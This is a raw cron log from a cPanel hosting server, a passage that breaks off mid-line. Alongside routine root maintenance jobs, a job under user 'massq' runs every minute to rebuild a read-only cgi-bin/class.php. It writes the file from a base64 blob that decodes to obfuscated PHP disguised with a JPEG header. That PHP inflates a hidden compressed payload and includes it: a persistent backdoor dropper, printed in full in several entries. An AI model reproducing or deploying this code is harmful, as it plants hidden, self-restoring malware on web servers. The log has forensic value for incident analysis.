Sep  5 12:00:01 server CROND[18531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:00:01 server CROND[18533]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:00:01 server CROND[18537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:00:01 server CROND[18540]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 12:00:01 server CROND[18535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:00:01 server CROND[18534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:00:01 server CROND[18543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:00:01 server CROND[18544]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 12:00:01 server CROND[18536]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:00:01 server CROND[18538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:01:01 server CROND[19437]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 12:01:01 server CROND[19438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:01:01 server CROND[19439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:01:01 server CROND[19440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:01:01 server run-parts(/etc/cron.hourly)[19437]: starting 0anacron
Sep  5 12:01:01 server run-parts(/etc/cron.hourly)[19459]: finished 0anacron
Sep  5 12:02:01 server CROND[19922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:02:01 server CROND[19923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:02:01 server CROND[19925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:03:01 server CROND[20296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:03:01 server CROND[20297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:03:01 server CROND[20298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:04:01 server CROND[20664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:04:01 server CROND[20665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:04:01 server CROND[20666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:05:01 server CROND[21053]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 12:05:01 server CROND[21055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:05:01 server CROND[21056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:05:01 server CROND[21058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:05:01 server CROND[21060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:05:01 server CROND[21059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:05:01 server CROND[21061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:05:01 server CROND[21063]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:06:01 server CROND[21898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:06:01 server CROND[21899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:06:01 server CROND[21901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:07:01 server CROND[22363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:07:01 server CROND[22365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:07:01 server CROND[22364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:08:01 server CROND[22739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:08:01 server CROND[22740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:08:01 server CROND[22741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:09:01 server CROND[23268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:09:01 server CROND[23271]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 12:09:01 server CROND[23273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:09:01 server CROND[23272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:10:01 server CROND[23667]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:10:01 server CROND[23669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:10:01 server CROND[23673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:10:01 server CROND[23680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:10:01 server CROND[23682]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:10:01 server CROND[23681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:10:01 server CROND[23683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:10:01 server CROND[23684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:11:01 server CROND[24555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:11:01 server CROND[24556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:11:01 server CROND[24557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0